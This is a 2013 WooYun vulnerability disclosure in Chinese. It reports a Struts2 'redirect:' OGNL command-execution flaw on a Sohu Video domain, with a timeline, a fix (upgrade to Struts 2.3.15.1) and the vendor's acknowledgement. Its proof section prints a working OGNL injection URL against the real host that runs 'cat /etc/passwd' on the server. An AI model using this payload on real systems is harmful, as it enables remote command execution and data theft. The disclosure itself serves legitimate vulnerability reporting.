当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-030038

漏洞标题:搜狐视频相关域名strut2命令执行漏洞

相关厂商:搜狐

漏洞作者: lezi

提交时间:2013-07-21 18:55

修复时间:2013-09-04 18:56

公开时间:2013-09-04 18:56

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-21: 细节已通知厂商并且等待厂商处理中
2013-07-22: 厂商已经确认,细节仅向厂商公开
2013-08-01: 细节向核心白帽子及相关领域专家公开
2013-08-11: 细节向普通白帽子公开
2013-08-21: 细节向实习白帽子公开
2013-09-04: 细节向公众公开

简要描述:

Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行

详细说明:

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

漏洞证明:

测试链接:
http://index.tv.sohu.com/index/switch/%E5%91%A8%E5%B0%8F%E6%96%8C.html?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
返回目标服务器/etc/passwd文件:

3.png

修复方案:

升级到 Struts 2.3.15.1

版权声明:转载请注明来源 lezi@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-07-22 00:16

厂商回复:

感谢支持。

最新状态:

暂无


漏洞评价:

评论